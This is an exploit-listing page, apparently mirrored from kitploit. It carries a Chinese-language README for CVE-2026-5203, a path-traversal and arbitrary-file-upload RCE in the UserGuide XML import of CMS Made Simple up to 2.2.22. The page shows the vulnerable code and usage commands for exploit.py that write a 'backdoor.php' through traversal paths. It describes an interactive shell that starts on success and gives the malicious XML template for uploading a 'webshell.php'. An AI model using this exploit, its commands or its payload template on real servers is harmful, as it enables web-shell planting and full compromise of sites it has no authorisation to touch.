Sploitus

Exploit for CVE-2026-5203

kitploit · 2026-08-25

Exploit Code

MARKDOWN75 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CAGINKYR-CVE-2026-5203
# CVE-2026-5203 — CMS Made Simple ≤ 2.2.22 RCE(路径遍历 + 任意文件上传)

![CVSS](https://img.shields.io/badge/CVSS-7.2%20HIGH-red) ![Version](https://img.shields.io/badge/Affected-%E2%89%A4%202.2.22-orange) ![Type](https://img.shields.io/badge/Type-RCE-critical)

## 摘要

**CMS Made Simple ≤ 2.2.22** 中的 `UserGuide` 模块的 XML 导入功能未能清理用户提供的文件名,允许经过身份验证的管理员通过路径遍历序列将任意文件(例如 PHP Web Shell)上传到服务器文件系统的任何位置。

字段| 值  
---|---  
**类型**|  路径遍历 / 任意文件上传 → RCE  
**组件**| `UserGuide` 模块 — XML 导入  
**受影响文件**| `modules/UserGuide/lib/class.UserGuideImporterExporter.php`  
**CVSS v3.1**| `7.2 HIGH` — `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H`  
**需要认证**|  是(管理员)  
  
* * *

## 漏洞代码

root@kitploit:~
    
    
    // modules/UserGuide/lib/class.UserGuideImporterExporter.php (~L250-280)
    $filename = (string) $xmlFile->filename;
    $isdir    = (string) $xmlFile->isdir;   
    

该函数将 Base64 解码后的内容直接写入攻击者控制的路径。

* * *

## 使用方法

root@kitploit:~
    
    
    python exploit.py <base_url> <admin_url> <username> <password> [upload_path]
    

**示例:**

root@kitploit:~
    
    
    # 默认路径
    python exploit.py http://target.com http://target.com/admin admin password123
    
    # 自定义上传路径
    python exploit.py http://target.com http://target.com/admin admin password123 \
      ../../../../../../var/www/html/backdoor.php
    

上传后若 Web Shell 可访问,则会自动启动交互式 Shell。

* * *

## 恶意 XML 结构

root@kitploit:~
    
    
    <?xml version="1.0" encoding="UTF-8"?>
    <modulecontent>
      <module>UserGuide</module>
      <version>1.3</version>
      <files>
        <file>
          <filename>../../../webshell.php</filename>
          <isdir>0</isdir>
          <data>[BASE64_ENCODED_PHP_CODE]</data>
        </file>
      </files>
    </modulecontent>